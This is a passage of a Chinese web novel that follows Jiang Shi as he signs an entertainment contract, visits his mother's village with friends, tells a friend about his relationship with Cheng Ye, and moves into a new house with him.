法务小姐姐被美貌灼伤,偷偷拿起手机看了看自己化妆也没遮掉的眼袋,默默往另一边缩了缩。 铃声从旁边青年的衣兜里传出来,闭着眼睛睡过去的江时皱了皱眉头,手指很不情愿地动了下,慢吞吞地摸出手机。 车子安静行驶。 法务小姐姐没刻意偷听,只是她和江时中间只隔了一个位置,再加上车子安静,手机传出来的声音总能有那么一两句飘到她耳朵里。 她能隐约听到对面是个男人的声音,说的什么听不清楚。而她旁边的青年臭着一张脸,明显有些不耐烦。 “上车了,车子都开出去了。” “没熬夜,骗你我是狗。” “打游戏?我怎么可能会打游戏,你别张着个嘴就污蔑我,信不信我告你诽谤。” “程野你烦不烦,我妈都没你啰嗦,干脆喊你程大爷算了。” 听到自家老板名字,法务小姐姐愣了愣,然后摒起呼吸。 江时又道:“你好烦,我玩游戏怎么了?我都考完试了,玩会游戏怎么了?你家住海边啊,管天管地还管我玩游戏。” “再说我就拉黑你。” 对面没声了。 法务小姐姐恍恍惚惚。 客户是很重要,但好像不是她想的那种重要。 第88章 挂了电话,江时才想起身边还有个人。他露出个有些不太好意思的笑,“不好意思,程野这个人就是有些啰嗦。” 女生第一次听见有人用“啰嗦”这个词来形容程野,但她不是刚入职场的愣头青,不管心底是怎样尖叫,面上什么都不显,只是礼貌的笑了笑。 见状江时闭上眼睛又睡了过去。 女生悄悄打量着他。 来之前程野跟她大致说过,她知道此行去签的是什么合同。江时长得很好看,的确适合当明星,但一个刚功成名就的老板和一个刚入行的漂亮明星…… 小姐姐不免想得有些歪。 江时不知道身边的女生想了什么,他才刚眯上没多久就到了目的地。他们直接来到星汇大楼,为了显示对他的重视,刘和平提前就在楼下等着江时。 江时跟着他进去,听刘和平站他旁边介绍,“公司配有大大小小十多个训练厅,来公司上班的话三餐是免费的,如果艺人需要,会配员工宿舍,但你目前还在学校上课,就没给你申请,你要的话就给我说。” 江时起来时没打理头发,临时拿了个鸭舌帽扣在头顶,他拉低帽檐,神情有些倦,露出小半张精致的脸。 那样子看起来完全不像一个还没签上合同的新人。 作为江时的经纪人,刘和平自然注意到他的神色,他有些忐忑的问,“怎么?是哪里不喜欢吗?” 江时打了个哈欠,“没睡好,介绍完了吗?什么时候签合同?” “……” 得。 刘和平放弃后面的流程,带着他上楼。 电梯门开了,三人进去,刘和平刚把手伸出去打算按电梯,门口传来一个女生的声音,“等一下!” 刘和平只得把手移到旁边开门的按钮上。 一个胖胖的女生飞快跑过来,看见里面站着刘和平时愣了下,“刘哥好,稍等两分钟,章哥在后面。” 江时撩着眼睛往前面看了眼,空荡荡的连个人影也没有。 四个人在电梯里等了快两分钟,前面才拥簇着走过来一个姗姗来迟的人。 哪怕是回自家公司,中间的人墨镜、口罩一个没落下。 人群哗啦一下进来,宽敞的电梯一下子变得拥挤。 江时和法务小姐姐默默往后退。 那个胖胖女生嘴里的“章哥”站在电梯中间,看见旁边的刘和平时勾下口罩,露出一张有些帅气的脸,“刘哥,好久不见。” 刘和平露出一个和平的笑,“好久不见。” 他不问,怀章却主动开口。 “最近新谈了个综艺,就水果台的那个,我成了他们的常驻,来找赵总签合同。” 刘和平笑得不咸不淡,“是吗?那恭喜你了。” 见他这个反应,怀章从鼻子里溢出一声冷哼,“刘哥手底下不是没艺人了吗?我听说你之前还跟赵总说要回家养老,这是来递辞呈?” 法务小姐姐缩在江时身边,声音小小的,“我靠,修罗场,这电梯升得也太慢了吧。” 江时:“……” 江时默默把帽子又拉低了点。 刘和平淡淡道:“那恐怕要让你失望了,我来签新人。” 怀章愣了愣,才看见站在角落里的江时。 青年跟朵小蘑菇一样缩在角落,整个人围得比他还要严实,哪怕只露出小半张脸,依旧能吸引人的视线。 他张嘴…… 叮—— 电梯到了。 刘和平把江时拽了出去。 出去时,江时回头看了眼,电梯里的怀章脸色很是不好,目光和他在半空中撞上,然后电梯门合上。 刘和平也回头,他看着继续上升的电梯,跟他解释,“怀章现在算公司里的一哥,是公司目前力捧的艺人,我跟他不太对付,要是他以后为难你什么的,记得要跟我说。不过他不怎么回公司,你目前要上课,你俩应该没什么机会见面。” 江时好一会才慢吞吞地“噢”了一声。 一开始刘和平以为他是高冷,现在熟了点,才发现这孩子就是单纯的懒。 合同和上次给江时的差不多,只不过完善了很多细节,法务小姐姐细细看过,没什么问题后江时才签下自己的大名。 签完了,刘和平问他,“你现在是不是考完试了?” 江时很警惕地,“昨天刚考完。” 一副非常害怕下一秒就给他安排工作的样子。 刘和平嘴角抽了抽,“你之前拍过杂志,我打算让你以模特的身份出道。对了,你学过声乐吗?” 江时老实道:“唱歌没学过,小时后学过钢琴和小提琴。” 声乐需要基础,现在学明显来不及,刘和平道:“行,我给你报个演技班,你什么时候有空来上课?” 江时感觉自己什么时候都没空,他只想当个咸鱼,但签都签了…… 他道:“这两天不行,放假了,我要回家。” 宋建安跟他一起。 还在考试的时候江雪就在念叨了,连年猪都没舍得杀,就等着他俩回去。 刘和平很是心痛的给他放了十天的假。 宋建安比江时晚两天考好,江时在学校门口等他,结果先出来的是程野。 程野的表情无比幽怨,“你都没等过我。” 江时看他那副小媳妇的样子就觉得牙酸,“你和他又不一样。” 再说了,他一放假程野就在他学校门口接他,压根没给他机会。 程野依旧幽怨,“我还不如他是吗?” 江时受不了他,把放在兜里揣了一路的橙子拿给他,“给你,最甜的一个,特地留给你的。” 程野合理怀疑这是江时不想剥皮才留下来的,但有就行,再闹就没正宫的气度了。 他站江时旁边把捂热的橙子剥了,“行李我给你收拾好了,票也买好了,客厅的茶几上放着一袋零食,你拿着路上吃。” 要不是他实在忙得走不开,肯定不会让宋建安和江时一起回去。 宋建安本来就不太待见他,也不知道要在江时和江雪面前说多少他的坏话。 “十天太久了,我觉得回家四五天就够了。” 江时给他一下,“行了吧你,十天我妈都嫌短,四五天信不信她过来把你杀了?” 程野:“……” 两人又等了会,宋建安还是没出来,但等来了张池。 “你俩站这里干嘛呢?” 江时说:“等宋建安回家。” 宋建安走了,江时也走了,张池踌躇一会,看像江时的目光跃跃欲试。 得。 原本的二人行变成了三人行,中间挤着个叽叽喳喳的张池,“我靠,江时我还是第一次见你亲妈呢,我就这么来了不太好吧?要不要带点礼物什么的?” 张池临时跟他们上的车,能买上票就不错了,哪有时间准备那么多。 江时一靠着椅背就想睡觉,闻言眼皮都没抬一下,“是不太好,送礼物多庸俗,你直接给我妈一张几百万的卡就好了。” 张池:“会不会太多了?我目前还没有那么多钱。” 江时:“……” 宋建安在一边说:“钱财乃身外之物,如果你真觉得过意不去,可以帮她把牛喂了,把猪喂了,再去地里犁上两亩地。” 张池:“……” 张池说:“我是去你家做客,不是去你家当上门女婿的。” 江时被口水呛到,猛地咳了声,拿起手边的水灌了几口。 张池拆开一袋零食,“江时,听说你要签约当明星了,真的假的?” 江时说:“假的。” 张池:“??” “你骗我,我明明都看到了。”他拿屁股去挤江时,“你跟哥们说说,好不好玩?是不是过段时间就能在电视上看见你?” 江时被他挤在角落,不得已拿脚踹了他一下,“挤什么挤,你爸要被你挤成肉饼了。哪有你说的那么简单,我还要学习呢,能不能学好还是一回事。” 行吧…… 张池往旁边挪了点,“没事,哥们有钱,可以让你带资进组。” 宋建安在一边说:“最近我跟家里学着管理公司,宋家有意投资娱乐产业,必要时可以帮忙。” 江时想,难怪他不想努力,合着回头一看,全是退路。 …… 快十个小时的火车,三个人打打闹闹也不觉得漫长。只是下车的时候江时感觉浑身的骨头都快散架了。 张池也是第一次坐火车,他呲牙咧嘴地揉着腰,“我的腰要废了,你们干嘛不买飞机票啊?” 宋建安:“这两天飞林城的飞机都抢完了,江时假期少,只能坐火车。” 江城这两年发展得很快,到现在到处高楼林立,但林城还是宋建安记忆中的模样。 破败、老旧,炊烟随着雾气蔓延,承载着他最幸福的那段时光。 火车之后是客车。 又颠簸了四十多分钟,终于在溪柳村的街上停了下来。 此时天都黑了,江时拿着行李箱站在街上,粉馆门口的路灯落在他肩上,恍惚间,他想起了刚来时撩开诊所门帘的那个夜晚。 张池站一边跺脚,有气无力的,“这回总该到了吧?” 宋建安说:“还要走半个小时的路。” 张池觉得天都塌了。 远远地,一辆小三轮突突突地开过来,顶着两个大大的车灯,停在三人面前。 江雪头上包着块毛巾,眼睛又黑又亮,张嘴哈出一口冷气,“我来接你们了。” 江时愣了下,“你什么时候买车了?” 江雪道:“前不久,买个车下地拉东西方便,还好你妈我不减当年,两三天就学会了。” 江时把行李甩上三轮车的车厢,人顺道也爬了上去。这种电三轮旁边有个可以坐的位置,刚想让张池坐上去,一回头,张大少爷撅着个屁股在后面爬车。 他上车的姿势不太对,肚子卡在挡板上,见江时看过来,艰难伸出一只手,“救救……” “……” 江时把张池拽上来,宋建安已经自觉地坐江雪旁边了。 江雪在夜色里摸了摸宋建安的脸,一脸欣慰,“大城市就是好,几年不见,你都白了好多。” 宋建安:“……” 其实并没有。 江雪又问江时,“程野没回来吗?” 江时一屁股坐在自己的行李箱上,伸手抓住拉杆,“没,他忙着呢,给你买了东西,待会拿给你。” 江雪嘿嘿的笑,“那多不好意思。坐稳了没,我们回家了。” 她一脚踩下去,小三轮纹丝不动。 宋建安道:“妈,你捏着刹车了。” 江雪松了手。 江时有股不太好的预感,“江女士,冒昧问一下,您这车什么时候学的?” 江雪“害”了一声,“不都说了,就学了两三天,然后就开来接你们了。” 江时:“……” 救……救救…… 第89章 江雪说:“放心吧,我技术好着呢。” 然后松开刹车,一溜烟窜了出去。 江时胆战心惊地抓着栏杆,深怕一不小心就变成这辈子最后一次坐车,好在最后有惊无险地回了家。 家里修了平房,又把院子拓宽许多铺上水泥地,终于没有之前那种一下雨就泞泥得不行的样子。 门口堆着一堆还没洗完的锅碗瓢盆,江雪把三个大男生往屋里领,“知道你们今天来,我跟村里人说好了明天杀猪,你们到的时候正在洗东西呢。” 她推开门,亮堂堂的光往屋里照,“想着明天要吃杀猪饭,我就没炒什么菜,今天晚上先对付对付,明天起来吃好的。” 张池笑得露出大白牙,“阿姨客气了,这已经很多了,我在家都吃不上这么多菜。” 江时眼皮抽了抽。 张池带着点婴儿肥的脸再加上一头自然卷,格外讨长辈欢心。江雪捏了把他的脸,“你这朋友长得真讨人喜欢,家里寒酸,别嫌弃啊,想吃什么就跟我说。” 见他们坐下吃饭不需要她干什么,江雪又蹲门口洗洗洗。 屋里,张池捧着个海碗,宋建安也捧着个海碗。张池吃嘛都香,他没吃过这种农家菜,每一个菜对他来说都很新鲜。宋建安好久没吃上母亲做的菜,不由得多吃了点。 只有挑嘴的江时端着一小碗米饭戳来戳去。 吃饭的桌子不高,椅子也矮,江时两条腿在桌子底下委屈地曲着,手肘搭在桌子边缘,垂着眼,不知道在等什么。 过了几分钟,他手机终于响了。 他抓着手机蹿起来,“你们先吃,我去接个电话。” 张池端着碗看江时的背影消失在厨房,他拿手肘撞了撞宋建安,“你说,我爹不会谈恋爱了吧?” 宋建安不明所以地朝他看去。 张池道:“你不觉得他很奇怪吗?一开始吃饭的时候就心不在焉的,现在接个电话还要背着我们,这不是外面有人了是什么?” 他语气里颇有种老父亲的淡淡忧伤。 宋建安夹起被张池碰掉的菜,“大学了,谈恋爱很正常。” 张池觉得一点都不正常。 “就我爹那个性格,哪个女生受得了?气度小脾气还大,又懒又龟毛,说不得,使唤不得,不能打不能骂,谁要是跟他好,那岂不是请个祖宗回家伺候?” 宋建安沉默片刻,道:“但他长得好看。” 张池:“……” 一拳打爆这个遍地颜狗的世界。 江雪不知道张池也要来,没收拾他睡的地方,张池晚上跟江时挤一间。 两人小时候经常一起睡,张池对此接受良好,屁颠屁颠地换了衣服走进江时的屋。 江时正靠在床头打游戏,他头发柔顺的搭在脸侧,灯光朦胧,显得他的脸也朦胧,清冷的脸透出几分不相符的旖丽来。 兄弟有点怪,怪好看的。 看一眼。 再看一眼。 江时掀了掀眼皮,“看你爹干什么?” 张池:“……” 他爹还是那个爹。 他爬上江时的床,搭着个脑袋在他身边,“爹,你是不是谈恋爱了?” 江时拿着手机的手顿了顿,沉默了会,然后很轻地“嗯”了一声。 张池瞬间就弹了起来,“我靠!你还真谈了!” 然后就是淡淡的伤心。 不是伤心江时谈恋爱了,就是觉得他作为江时最最好的朋友,他谈恋爱了竟然不跟他说。 江时被他吓了一跳,整个人往旁边歪了歪,“我又不是早恋,那么大惊小怪干什么?” 张池说:“你谈恋爱都不跟我说,我再也不是你最重要的兄弟了。” 江时扣了扣手机,曲着腿,“不是不说,是我还没想好怎么跟你说。” “这有什么没想好的?我们是兄弟,哪有谈恋爱不跟兄弟说的?难不成……”张池眯起眼睛,“这个人我认识?” 江时含糊不清地“唔”了一声。 张池又激动得跳了下,“不是吧江时,你竟然背着我偷偷干大事。说!那个人是谁?” 他冥思苦想了会。就江时那冷淡又难搞的性子,关系好的人别说女生,男男女女加起来他一双手都数得完。但他想来想去,也没找出符合条件的女生。 江时想的是:他和程野的事早晚都要告诉他们,与其两人一直偷偷摸摸的,还不如直接讲出来,至于能不能接受…… 他顿了顿,闭上眼,干脆道:“我跟程野在一起了。” 张池顿时愣在了当场。 他有些怀疑自己的耳朵,“你说谁?你和谁在一起了?” “程野。” “啊哈哈……我耳朵出问题了吧,程野?是我认识的那个程野吗?是不是有个女的也叫程野这个名字?” “没。”江时面无表情地,“就你认识的那个程野,天天跟我在一起的那个程野。” 张池:“……” 大爷的!他天天看着的白菜竟然是被程野这只猪拱了! 说已经说完了,江时安静等着张池的反应。 张池抱着枕头吭哧吭哧酝酿半天,小心翼翼道:“爹,我没想到你是个gay,那我现在和你睡一张床,岂不是跟那种孤男寡女睡一起是一样的?” 江时:“……” 张池继续抱着枕头,“要不我去跟小安子挤挤?” 眼看他要走,江时抽出自己背后的枕头砸他身上,“滚犊子,你是以为我会看上你?” 张池被砸得表情空白。 “那倒没有,只是我没想到你对象会是程野。” 他总算知道之前程野为什么老是看他不爽了。他吸了吸鼻子,“程野的胳膊比我大腿都粗,要是让他知道我跟你睡一起,我怕他打我。” 就程野那样的,一拳能揍他三个。 江时:“……” 最后张池还是没走。屋里关了灯,周遭黑漆漆的,窗外面能听到几声狗叫。 没有空调,被子里很凉,张池往江时身边挤。 “爹,你是怎么发现自己是gay的,之前那回……”他顿了顿,“我还以为你厌男呢。” 江时那边很安静,张池等了会没人说话,他以为他睡着了,结果耳边响起一道弱弱的声音。 “我也不知道自己是不是gay,这么久了,没喜欢过男的,也没喜欢过女的。” “噢……” 张池似乎是冻感冒了,一直在吸鼻涕。 “我说你独自来到这人生地不熟的地方,程野干嘛对你那么热情,合着是觊觎你的美貌。” 他张嘴,“我呸!” 江时笑了声,“我还以为你会觉得我恶心。” “拜托,我好歹也是接受过教育的大学生,区区同性恋而已,小爷我什么没见过?” 话是这么说,但张池还是被这个消息砸得有些回不过神。第二天最后一个起床,起床就对着外面雾蒙蒙的天气发呆。 直到猪叫声响起。 他跑出去,发现一群人正在把年猪从猪圈里往外拖,瞧见张池,其中一个中年男人搓了把手,用他不太听得懂的方言道:“小伙子愣着干嘛,快来帮忙。” 于是张池莫名其妙加入战场,慌乱中按了个猪脚。 江时拿着盆从屋里出来,瞧见张池在人群里呲牙咧嘴的使劲,那身几大千的羽绒服被猪蹬了好几个印子。 “……” 江雪把他手里的盆拿去接猪血,顺道夸奖了句,“你这朋友可真勤快。” 江时保持沉默。 高新和也在,他跟张池一左一右各按一只猪脚,两句话的功夫就混熟了。江时还没介绍他们认识,张池就屁颠屁颠的跟着高新和去他家拿铁签子串肉烤着吃。 张池比高新和多了那么一个心眼,暗戳戳地跟他打听程野是个什么样的人。 高新和添油加醋地把程野小时候的悲惨经历全给他说了。被母亲抛弃,被父亲虐待,欠了一屁股债,下矿还受了伤……那叫一个凄惨了得。 张池边烤肉边听,同情的眼泪从嘴角流出来。 “太可怜了,都这样了还对江时那么好,难怪江时要跟他在一起。” 高新和懵了,“啊?什么?” 谁跟谁在一起? 张池拍拍他的肩膀,“你就说程野可不可怜?” 高新和撕了一块肉放在嘴里,嘶哈嘶哈的,“能有我可怜?我孤身一人去盆地里读大学,那鬼地方荒无人烟的,我爸妈辛辛苦苦供我读了这么久,结果从这个村读到了另一个村。” 张池也觉得他可怜,“太可怜了,我给你点钱吧。” 高新和还不知道这句话的含金量,咧着个嘴巴笑,“好啊。” 张池也很高兴,他的钱终于能给出去了。 江时揣着把瓜子坐他俩身边。 高新和把签子递出去,“小表哥,来吃烤肉啊。” 那肉就这么放在柴火里烤,上面全是灰,也只有高新和和张池吃得下去。 “不要。”江时道。 高新和知道他挑剔,又道:“火烧洋芋吃吗?放心,我给你剥皮。” 江时能拒绝烤肉,但拒绝不了火烧洋芋,他顿了顿,“你剥干净点。” 宋建安也坐他们身边,他拿着个三脚架放在柴火上,又往三脚架上放个铁盘。 “这样烤。” 火焰撩起,铁盘温度瞬间升高,几个小孩围在他们身边,叽叽喳喳要吃烤肉,江时磕了会瓜子,拿起手机拍了张照片发给程野。 四个人就这么厮混了好几天,等江时回过神来时,假期已经过去了。 张池住了这么几天,彻底爱上溪柳村的火烧洋芋,临走了,什么都没带,买了一麻袋的土豆。 他费劲地把自己的一麻袋土豆拽上江雪的小三轮,一回头,高新和一瘸一拐的哭着跑来了。 张池看了很感动,“兄弟,虽然我们才认识没几天,但知道我要走,你还是第一个这么舍不得我的人。” 高新和很是舍不得的把兜里的银行卡掏出来还给张池,“你卡里的钱太多了,我爸差点把我腿打瘸,还给你。” 江时惊呆了,“你还给他钱了?” 张池很是无辜,“我给你们谁都不要,只有他要我的钱,那我自然就给他了,反正他是你表弟,还是程野的兄弟,怎么说也是自己人。” 江时朝高新和看去。 高新和被他看得差点原地起跳,“苍天可鉴啊小表哥,他说给我钱,我以为就十多二十的,谁知道是十多二十万,我家全家的家底加起来都没这么多,今早和我爸去银行,我爸看到里面的余额,差点以为我干了什么犯法的事。” 那银行卡拿在他手里跟烫手的山芋一样,看到里面的余额被他爸揍了一顿后就马不停蹄的过来还了。 江时看两人的眼神跟看傻子一样。他把高新和手里的卡拿过来塞张池手里,“你能不能改改你这破毛病,哪天被骗了都不知道。” 张池和高新和对视一眼,都在对方的眼睛里读到了惋惜。 来的时候很冷,回江城那天却意外的出了太阳。 阳光落在皮肤上带着温度,吹过来的风还是冬天的冷咧。快下车时,宋建安道:“宋家让我问问你,今年过年去那边过吗?” 江时愣了下,然后摇头,“不了。” 他说不去,宋建安就不再问。 他比谁都清楚,宋家于江时而言,不过是牢笼。 回到江城,江时就要接受刘和平给他安排的课程。 他忙,程野比他还忙。年前,程野公司正式推出一款全新的智能手机,打破以往的设计,实现了里程碑式的突破。 两人虽然住在一起,但江时睡的时候程野没回来,等他醒了程野已经走了。算下来,已经快有十多天没见过了。 一晃眼,快到年关,刘和平再怎么狠心,也不至于让江时不能回家过年。 今天是他年前上的最后一课,不知不觉拖了会堂,等他下课时,已经是晚上十点。 冷空气再次席卷而来,原本温度回升的江城又极速降温,天气预报说有雪。 手机上程野说他在公司楼下接他。 江时穿上外套,拿着手机下了星汇的大楼。 或许快要过年了,哪怕温度不高,但街边行人依旧很热闹,周边的商户开始了新年装扮,就连路灯也挂上了红灯笼。 江时找了圈,没找到程野经常开的那个车。 他迎着冷风哆哆嗦嗦给他打了个电话。 男人似乎喝了酒,声音低沉,“江时,左边抬头。” 江时顺着他说的方向看过去。 街边,黑色劳斯莱斯降下车窗,穿着西装的男人坐在后排,深邃的眉眼里带着点倦色,灯光下,袖口上的蓝宝石无声闪烁,他抬手搭在车窗上,衣袖向上缩,露出手腕上有些陈旧的黑色腕表。 程野曲着手,朝江时勾了勾。 “过来,回家。” 第90章 江时愣了好一会才回过神来。 他拢紧外套上了车。程野坐他旁边伸手揉了揉眉心,身上除了酒气还带着淡淡的香水味。他脑袋有些昏沉,就连反应也比平时慢了很多。 见江时上了车,隔了半分钟才从另一边拿出一个散发着热气的烤红薯,“给你,在路上买的,刚出炉。” 江时接过,冰凉的指尖被红薯的温度捂热。 低调的劳斯莱斯合上车窗,车子汇入车流。 车里,江时撕开红薯软糯的皮,笑着跟程野开玩笑,“程总果然不一般,一段时间没见面,都开上豪车了。” 程野说:“租的。” 江时:“……” 他哽了哽,“那衣服呢?” “也是租的,据说是高定,三百一天,老板不让讲价。” “……” 他跟江时抱怨,“三百都能买套新的了,王卓非跟我说什么没格调,一套破衣服三百一天,他怎么不去抢?” 他边说边整理袖口上的蓝宝石,眼眸深沉,侧脸被光影切割,鼻梁如山峰挺拔。 江时捅了他一下,“你闭嘴吧。” 程野侧过脸来看他:“??” 更委屈了。 劳斯莱斯停在小区楼下,司机轻咳了声,“程先生,到地方了。” 两人下了车,司机也跟着下车小跑到程野身边,“先生,您看这尾款……” 程野从西装外套里掏出一叠现金把尾款结了。 被冷风吹了会,他混沌的大脑终于清醒许多,注意到江时看向劳斯莱斯不太一样的眼神。 他顿了顿,“喜欢?” 江时咬了口红薯。 “还好。” 他只是觉得刚刚程野坐车里的样子有点帅,如果能把嘴捐了就更完美了。 程野以为他喜欢,默默把买车提上日程。 …… 江时发现程野变有钱对他唯一的影响就是变得更忙了,但他人的本质还是抠搜,出门吃饭都要多薅两张纸巾回来,天天裹着他那快包浆的黑色外套去上班,最里面的老头背心破了个洞都没发现。 他实在看不下去,在两人即将回家过年的时候把人拽去商场买衣服。 程野不乐意去商场,反手拽着江时去了服装批发市场。 “在这买。” 江时很是无语,“程总,你穿点好的行不行?” 程总不太行。 他一身粗糙的肉,穿那么好干什么?但江时不一样,江时得穿好的,江时穿得好看,他脱衣服跟拆礼物似的。 程野有钱后,给江时买的东西越来越贵,由之前的几百变成几千,到现在已经朝上万延伸。只是江时不怎么注意这些,因此没发现生活水平的变化。 至于他自己……程野一向没什么要求,有衣服穿、有饭吃就行,只要江时愿意跟他好,让他吃一辈子咸菜他也开心。 江时站他旁边,“程野,我发现你穿西装有点帅。” 程野朝老板说:“麻烦帮我把最顶上那套西装叉下来。” “……” 叉毛线叉,江时拉着他出了批发市场,来到一家不起眼的服装店。 对于有事业的男人来说,西装就是面子,程野不在乎面子,江时只能亲自给他找一下。 这家店是他小时候宋博经常光顾的店,量身定做西服,师傅的手艺很好,虽然比不上大牌,但版型和剪裁都很得体,很适合这个阶段的程野穿。 江时跟老板说明来意,老师傅推了推脸上的老花镜,拿着软尺给程野量尺寸。 程野摊着手站着,随口问了句价格。 老师傅报了个数,都够买江时的两件衣服了。他当即就不干了,把手收了回去。 江时站他身后捅了他一下,“干什么,把手张开。” 程野扭头看他,“别了吧少爷,贵……” 江时知道跟程野讲道理讲不通,他看了眼有些耳背的老师傅,趴在程野耳朵边,“这衣服料子好,你穿上就跟男模一样帅,比我在公司看见的明星还要好看。” 程野喉结滚了滚,一咬牙,“买。” 小少爷手里捏着他的银行卡,一下子刷出去好几万,程野看得心在滴血,觉得自己委屈了江时。 他花了几万,江时就要少买两件衣服。 都是他的错,可江时夸他帅…… 江时压根不知道他脑子里的脑回路,看着师傅把尺寸量好,又商定了细节,最后定好拿衣服的时间,带着程野回到商场。 马上就回去过年了,程野苦了这么多年,得穿得光鲜亮丽点。 买西装花了这么多钱,程野死活不愿意再买别的衣服。 江时摸索出了点经验,拿着件黑色大衣在他身上比了比,“程野你穿这个也很帅,我还没见过这种风格的。” 程野:“……” 买。 “这个也帅,简直就是男神级别。” 买。 “这个……” 买。 江时满足了,程野抑郁了。 这两天温度低,家里的水龙头给冻裂开了。买完衣服的程总穿着他那件破了个洞的老头背心蹲在阳台修水管。 江时穿着兔子拖鞋从客厅溜达过去,看见他,又折返回来,“还没修好啊?” 水把程野的裤子溅出深色的一团,他把拆下来坏掉的水龙头放在一边,拿着新的换上去,“换个新的就行,马上就好。” 江时站了会,道:“你怎么还穿着这件破背心?” “这个舒服。” “……” 山猪吃不来细糠。 水龙头修不修也无所谓,第二天他们要回去过年了。 他们住四楼,阳台外是一颗高大的梧桐。 梧桐的新叶抽了几波,光阴就荏苒了几轮,树尖悄悄往上蹿,新的一年又一年。 当年前的第一支烟花窜上江城的天空时,江时抬手把住了三年多的卧室关上门。 江雪扯着嗓子在门口喊,“江时,你收拾好了没,搬家的车都到楼下了。” 江时揉了揉耳朵,“别催了,又不是我收拾的,你怎么不喊程野?” 江雪说:“你这死孩子。” 程野扛着一个纸箱从旁边的卧室出来。 几年过去,他眉宇间的青涩完全褪去,蜕变成了成熟男人的模样,眉目沉着,野性收敛了下来,所有情绪都藏在那双黑沉沉的眼睛里,很难让人窥见分毫。 他抓着纸箱往门口一放,“好了。” 搬家的师傅上来陆陆续续把东西搬下去,江时分配到了两个番石榴,一手拿一个,走累了还可以啃一口。 江雪拎着袋子跟在他身边,“不是我说,你们两个大男人,怎么会有那么多东西?” 今天年二十八,到处都热热闹闹的,天还没黑,远处就有人放起了烟花。 江时在烟花炸开的声音里开口,“这我哪知道,我又没买东西,都是程野买的。” 他这么一说,江雪就明白了,这满满当当的一大堆,估计大部分都是江时的。 程野如今的身价,那真当得了一句程总,前两天刚上了财经报道,新闻的首页还印着他穿着西服的照片,荣获创业青年代表。 而如今,身价过亿的程总穿着件江雪几年前就见他穿的黑色棉服,裤子上蹭着好几道灰,老老实实地把东西往车上搬。 人肩宽腿长的,箱子一扛就是两个。 江雪再扭头。 自家亲儿子手里拿着啃了半边的芭乐,嫌站得累了,端详了番,坐在一边放着的行李箱上。 几年过去,江时脸上的少年气也褪去了,据说下个月要进组拍戏,演的角色是个长头发的,因此一直留着头发,越发显得长发掩盖下的那张脸雌雄莫辨。 江雪很想找出点江时过得不好的证据,但他的脸别说有一丝沧桑,看着嫩得,伸手一掐都能掐出水来,捏着芭乐的那两根手指细细长长的,别说干粗活了,估计连水果都没洗过。 程野买了房子,江雪是过来和他们一起搬家和过年的。 房子是两层的独栋小洋房,房间不是很多,但有一个独立的院子,藏在闹市里,倒意外的很安静。 江雪看见房子的时候震惊了好久。想当初,程野住的地方还是破烂得不行的木头房子,这才几年,甚至还有半年才大学毕业,就已经买上别墅了。 她第一反应是心惊,然后是担忧。 就这么几年,程野就能发展成这样,那以后…… 想到这里,她朝江时看去。 江时啃完了芭乐,手上染着汁水,没找到纸,朝身边的程野递出两根手指头。 程野捞起自己的外套给他擦了擦,“外面冷,你和江姨先进屋。” 江时瞅着正在搬东西的师傅,“不是花钱请人了吗?你怎么还自己搬?” 程野说:“好几个箱子里装的都是你的东西。” “?” 所以呢? “你的东西怎么能让别人搬?” “……” 江时把手收了回去。 程野掌心残留着点微凉的触感,他收了手,表情有点可惜。 江时理解不了他的脑回路,带着江雪进了别墅。 里头开了地暖,他脱了外套,让江雪坐着,想了想,又溜达着去厨房给她洗了点水果。 果盘里半碗水半碗水果,江雪拿起一个淌水的橘子,怀疑自己儿子被程野养废了。 外头还在陆陆续续搬东西,江雪吃了两个橘子,坐不住,看了眼天色,“天都黑了,要不我先去把饭做了?” 江时窝在他自己选的沙发里,拿出手机熟练打开游戏,头也不抬,“程野做。” 江雪恨不得给他一下,“人家搬家忙了一天了,怎么还让他做饭?” 江时说:“那我也不会做啊。” 江雪:“……” 江雪抬手,看了看他漂亮的脑袋瓜,又放了下来。 “我去做。” 江时又说:“还是程野做吧,你做的饭没他的好吃。” 江雪忍无可忍,最终给了他漂亮的脑袋瓜一下。 程野搬完了江时的东西,没着急收拾,送走师傅后先去把饭做了。 他年轻,火气旺,体温一直很高,外面的棉服一脱,里面只有件背心。碍于江雪在,他没穿着背心在家里晃,往上面套了件T恤,站在厨房里开始择菜洗菜。 新别墅的地板亮堂堂的,开着灯更是照得哪哪都亮,江雪一低头就能看见地板上映着她黑里透红的脸。 她实在坐不住,站起身去帮程野。 程野知道她估计不太习惯新家,让她帮忙做点简单的活,用方言和江雪交谈着,没一会就驱散了江雪心底的那点别扭。 江时一把游戏输了,气得关了手机靠在沙发上生闷气。不远处的厨房没关门,程野和江雪说话的声音清晰传到他耳朵里。 程野说:“别墅后面那个院子,我打算把它开发来种地,在再另一边围个鸡圈来养鸡,后面不是还有个泳池吗,江时不喜欢游泳,可以拿来养鱼。” 江雪说:“我刚刚看见那个院子的时候就想说了,种什么花花草草多浪费,还不如种点菜。现在好多菜都是打农药的,还是自己种的安全。” “是啊。”程野深感赞同,“自己种不但安全,还能省钱。” 今天省点,明天省点,江时又有新衣服穿了。 听了全程的江时:“……” 那一刻,金碧辉煌的小洋楼顿时变成了农家乐。 山猪吃不来细糠。【你现在阅读的是 】 90-100 第91章 程野生动形象的演示了什么叫时间管理。 炖个汤的功夫上楼把江时那几箱东西收拾了,回来时汤还没炖好,他尝了下咸淡,加了点盐后盖上锅盖,拿着拖把把被搬家工人踩脏的客厅拖了。 拖地的间隙把江时那碗半碗水的果盘重新弄了下,怕他饿着,又放了点零食。 江雪一个晃神的功夫,他已经拖好地,拖把一放,去厨房里炒菜了。 厨房的磨砂门合上,只有一点鸡汤的余香飘出来,男人高大的背影几乎把整个门给占满,低头微微弯着腰,翻炒颠锅的动作很娴熟。 江雪恍恍惚惚,她坐在江时身边,“程野跟你在家的时候都是这样?” 江时拆了袋薯片,“差不多吧。” 地板亮堂堂的,被程野拖了后照得江雪的脸更清晰了。她伸手拍了下江时的肩膀,“你好歹帮一下忙啊,哪能让他一个人这么忙?” 江时咔嚓咔嚓,“不想动,程野也不乐意我动。” 江雪道:“这过日子是两个人的事,哪能只让一个人付出?”边说着,江雪有点担忧,“而且现在程野也有钱了,再也不是当初那个穷小子。那时候他没钱,你给他恩惠,他记着你的好,自然事事顺着你。” “可现在跟以前不一样。越往后,你们的差距只会越来越大,他是记着你的好,可任由它天大的恩惠,也不能记一辈子,人都是会变的。” “要互相体谅日子才能过得长远。” 江时伸手掏薯片的动作顿了顿。 江雪见他听进去了,怂恿他,“你看,这不是马上就要吃饭了吗,你把吃饭的桌子收拾一下。” 